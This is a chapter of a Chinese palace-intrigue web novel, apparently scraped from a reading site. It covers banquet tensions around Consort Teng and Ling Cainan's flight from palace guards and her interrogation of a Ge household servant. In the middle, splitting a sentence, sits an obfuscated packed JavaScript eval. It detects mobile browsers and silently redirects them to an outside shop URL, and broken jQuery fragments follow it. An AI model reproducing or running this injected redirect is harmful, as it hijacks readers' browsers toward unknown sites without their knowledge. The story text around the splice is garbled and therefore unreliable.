约莫一炷香过去,裴之恒回到了宴席。
他本欲站在原地等令采南归来,可府上的侍婢实在太多,他经不住一轮又一轮的询问,生怕因此暴露了令采南的存在,顾而提前回来了。
宴席上的众人大多已食足饮酣,坐姿各异,寻可聊之人攀谈。苗太仆与贵妃娘娘端坐高台,有几家新兴贵族上前晤叙。
裴之恒依旧提不起兴趣,走到原先的位子时,发现裴安不知何时换座到了他旁边。
他撑着个脑袋:“你怎么去那么久?”
裴之恒坐下:“这你也要管?”
裴安凑了上来,笑起来,露出标志性的虎牙:“我哪管得到你,只是你刚刚不在,错过了一场好戏,做弟弟的替你惋惜啊。”
裴之恒道:“好戏?”
“是啊”,裴安抬起一边眉梢:“滕少云,他被人泼了一身酒,气得回滕府了。”
裴之恒讶然道:“回滕府了!谁泼的?”见裴安一脸得意,他旋即皱眉:“你泼的?你疯——”
裴安连连摆手:“不是我,我再贪玩也不会在这种场合……”话说偏了,他又把话题带回来,悄然道:“是姜妹妹。”
姜琴?!
是了,滕少云之前爱慕过姜琴,没什么比爱慕之人当众泼酒更让人难堪的了,也难怪脸皮厚如滕少云也忍不下,直接登车回府。
可是姜琴一向性格温顺,怎会当众泼酒?这实在有些骇人听闻……
裴安看出裴之恒的疑惑,用眼睛示意他看向一处人少的角落。
那里只有三个人。姜晟、姜琴和姬辞春。
姜琴与姬辞春并排站立,姜琴罥眉稍蹙,似乎在与对面的姜晟争执些什么,而一旁的姬辞春神色冷淡,一言不发。
裴安抱胸:“你也知道,滕少云曾喜欢过姜妹妹,后被冷眼拒绝,他心中其实一直记恨着呢。滕家这少爷一向自信且自大,才惹了祸不久,见姜妹妹和姬姑娘相谈甚欢,便不要脸皮的凑上去,刻意对姬姑娘行轻薄之举,想要出口恶气。”
“可众所周知,姜妹妹不善与人交际,姬姑娘是她为数不多的好友。”
裴之恒道:“所以姜二小姐忍无可忍,泼他酒了?你别乱讲,我知姜二小姐不会这样。”她的兄长是京城里出了名的好面子,姜琴又向来宽容,想来即使愤怒,也不会做出让人当众难堪的事来。
裴安沉默了。
裴之恒看着他,替他补充道:“你拱火了,是吗?”
不答话,那证明是他猜对了。裴之恒又问:“父亲看到了?”
“没有,那时只有我们三个人,连姜兄都不在。”他想到了什么,忙道:“哥,我只不过推波助澜了而已,姜妹妹没有泼酒,只是滕少云那厮与姜妹妹发生口角,我上去帮腔,哪知情绪上头,说得狠了些,把人给气走了......”裴安竖起三根手指:“滕少云走之前没告状,只有我们几个知道,我保证父亲不会骂我。”
裴之恒看着他撑大的眼眶,一时语塞。
滕少云哪是没告状?不过是时机未到而已。日后若裴安陷入什么风波,这事指定要被滕少云翻出来,狠狠踩上裴安一脚。
蠢啊,蠢啊。裴之恒内心哀叹。
可他又知道,裴安这么做肯定有为他出气的缘由在。裴安这人讨长辈喜欢不是没有道理的,正义感爆棚,什么都要帮上一帮。幼时的他记恨过安国公府的任何人,却唯独对他这个弟弟生不出讨厌来。是裴安满足了他幼时想要生辰宴的愿望,也是裴安在安国公误解他时第一个站出来替他讲话,更是他在宴席上,一直照顾那连他自己都不愿承认的自卑心理。
分明他裴之恒才是兄长,他却偏偏更像被悉心看护的那个人。
这种感觉......并不好受。
裴之恒道:“知道了。”
裴安放下手,张了张嘴,刚想继续说些什么,高台上传来一声冷冽的呵斥:“大胆!”
这一声不轻不重,却带了十足的皇家威严,听得裴安默默挪回歪曲的上半身,老老实实地坐正了。
刚才还人声浅浅的院内渐为鸦雀无声。除了距离滕贵妃较近的朝臣,多数人根本不知发生了何事,面色紧张又好奇。
裴之恒一眼便注意到滕贵妃身旁脸色渐白的苗太仆。他有些心慌,苗太仆是看惯大风大浪老臣子,何事会让他也心生恐慌?
一阵疾风呼啸而过,给紧张的气氛平添一分冷意。
座上众人,除却家世优越者,少有人敢抬头直视滕贵妃怒颜,俱是默默低下了头,生怕方才惹怒滕贵妃的人会是自己。
裴之恒抬眼,虽看不清楚,却大致瞧见高台上那矜贵的美人不知何时没了笑意,目光含厉,看向......
裴之恒顺着滕贵妃的视线,看见角落里的姜晟等人。
姜晟依旧和姜琴站在一起,显然和大多数人一样,也不明白发生了什么,保持着面上的平静。
裴之恒心中不安,莫名有种感觉,指引他看向坐在原位一脸平静喝茶的葛斋,以及此刻嘴角微扬,面色轻快看着姜晟的三皇子沈宜。
葛斋来此庆贺好友寿辰,可三皇子来做什么?裴之恒没听说过三皇子和苗太仆有过什么交集。
心中的鼓越敲越响,裴之恒面色紧张,看向端坐高台的美人。
“姜大公子”,女子的话字字冰寒,“本宫想听你的解释。”
***
热闹非凡的大街上,小贩兴奋地向行人介绍自己的产品。
“这可是从西域来的胡刀,锋利得很啊,吹毛断发,削铁如泥,切玉如......”话还没说完,小贩眼睁睁看着自己的顾客落荒而跑。
正疑惑,只见一个黑色身影从天而降,摔在了地上。
不,是两个身影。
眼前尘土飞扬,什么也看不清。小贩忍不住咳嗽,又颤颤巍巍地后退,腿都开始发软:“谁,谁啊。”
整个街道上的人都在四处奔逃,与之相反的方向,禁军踏马追来。
令采南快速爬了起来,刚拉起地面上的葛家人,数十箭矢毫无征兆地凌空而来,她飞身闪过,一把握住射向小贩的银箭。喘息不过一瞬,怎料又是一阵箭雨,她闪避不及,右肩被箭矢堪堪划破。
小贩呆愣在原地,一时不知这覆面黑衣人是好是坏。
下一刻,手中胡刀被夺,手心被放入一锭银子。小贩听到有人道:“多谢。”
再一眨眼,那两人已不见身影。禁军的马蹄踏过身侧路面,禁军身上的刀刃不避行人,森寒锐利,擦着小贩的脸颊快速飞过。
小贩吓得一屁股坐在地上,看着地上被踩踏得不成样子的兵器,一时想哭又不敢哭。
令采南来到京城不过几日,得亏她勤快,将这四周的街况摸了个大概,靠着灵活的躲闪,同那禁军周旋了约莫半刻钟,她终是把人给甩开了。
这是一处街角,四面堆放着草料,还能看见几只鸡在附近慢悠悠的走。总之,很隐秘,禁军的人不熟悉皇城外,没有点时间大概找不到这里。
令采南将葛家人放在地上,顾不上右肩的伤口还有血在沥沥下落,找到他身上沈砚舟留下的银针,拔了下来。
接着用内力,将人强行逼醒。
中年人的眼皮颤了颤,几经挣扎,很是痛苦地睁开眼。他凝了凝尚未聚焦的瞳孔,半晌才看清,眼前是个目露担忧的黑衣人。
不是那穿淡蓝色衣袍的贼人就好......
黑衣人开口:“我是葛侍郎派来的。”
闻言,他松了口气,精神再不复先前那般紧绷,立直身体:“老爷还真是料事如神,真有人来抢那东西。多谢老爷了,我还以为我要死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691393|207174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在那里了。”
他回想起当时那一幕。他本是好好坐在马车里的,忽然马车外一阵骚动,不过片刻,秦统领就领人离开了。他本就害怕,见禁军走了一大半,心里当即就打起来退堂鼓来,可他刚一掀开车帘,一人便猛地闯入,把他狠狠按在地上,以至于他当场晕死过去。
那一幕突然,他现在想起来心里还一阵后怕。毕竟他只是个侍奉葛家十余年的奴仆,又不是葛老爷的心腹,地位低下得很,他还以为葛老爷不会管他死活呢。
现在看来,葛老爷还真是实打实的大善人。
沈砚舟抢了什么东西?葛斋知道沈砚舟会来?令采南疑从心起,她好像没见到沈砚舟拿走了什么东西。
“老爷怎么说,现在回府?”中年男人分明身体疲惫不堪,眼睛却带着类似崇敬的光。
令采南看他一眼,说一不二:“现在不是时候。”
男人问:“那要什么时候?”他浑身酸痛,想回去好好休息。
令采南想了想话本子里描写的大户人家,最后作态装腔道:“老爷的心思岂是你能打探的?”她把话说得异常凶狠。
男人被她吓得不轻,忙赔笑:“哪里敢,哪里敢,老爷说什么时候就什么时候。”
令采南心下满意,道:“老爷有几个问题让我问你。”
男人做讨好态:“您问,我一定好好答。”
令采南一脸严肃:“葛无境,还记得吗?”
“记得记得,老爷的庶弟嘛,早些年失踪了,现在还没寻回来。”像是意识到什么,他忙改了口:“不不不,是皈依佛门去了,没失踪。”
这是葛斋在府内上下统一的说辞,尽管大部分人都知道葛无境是失踪了。
“老爷突然问他做什么?”
令采南回道:“他前些日子给老爷来信了。”
男人闻言一顿,很是夸张地睁大了眼。
他分明对这人不感兴趣,却硬要装作震惊,令采南对他夸张的表演感到无言。
她不得不承认人的好奇心也是有限的,会期待万众瞩目者的升腾或沉沦,却不会想听到等同之辈的成长或坠落。譬如眼前之人,只因葛无境在葛家的存在感并不强,他也就对葛无境连带他现在的处境毫无好奇之意,尽管葛无境在葛家的身份算得上半个老爷。
令采南道:“他说,他要回葛府。所以老爷吩咐你待会去安排马车接他回来。”
“待会?”男人皱了皱眉:“老爷莫非是在说笑?南陲之地离京城何其远,怎么安排马车?何况这葛三老爷的具体位置老爷他自己都不知道,我从何而知?”
失踪了那么久,怎么会突然来了信?
男人心中一动,看向眼前黑衣人,心里打着算盘,好半晌才开口:“大人,我想起来了,我知道葛三老爷在何处。”
令采南本是失望,闻此当即大喜过望,向前靠了靠:“在何处?”
男人一副抱歉的模样:“这是机密,大人不妨给我瞧瞧老爷暗卫里的令牌,给我看了后,我定马上告诉大人。”
什么令牌,她可没有。令采南挂着脸,看上去很是不满他这般不识趣的行径。
男人见她没应,放大了声量:“大人,我这也是按规矩办事。”
令采南硬着头皮回道:“没带,你先告诉我,回府后我给你看。”
话音刚落,男人不知从哪摸来的一把刀,快速抵在令采南脖颈:“你不是老爷的人,说,你是谁。”老爷的暗卫根本不靠令牌识人。
令采南侧头看向他。突然要令牌,她就知道准没好事,原来是拿令牌来试探她啊。
不过......
男人被她盯得心里发怵,只一愣神,手里的短刀被打落,一把胡刀悬在了他的脖颈。
“我废着耐心再问你一遍,葛无境,在哪?”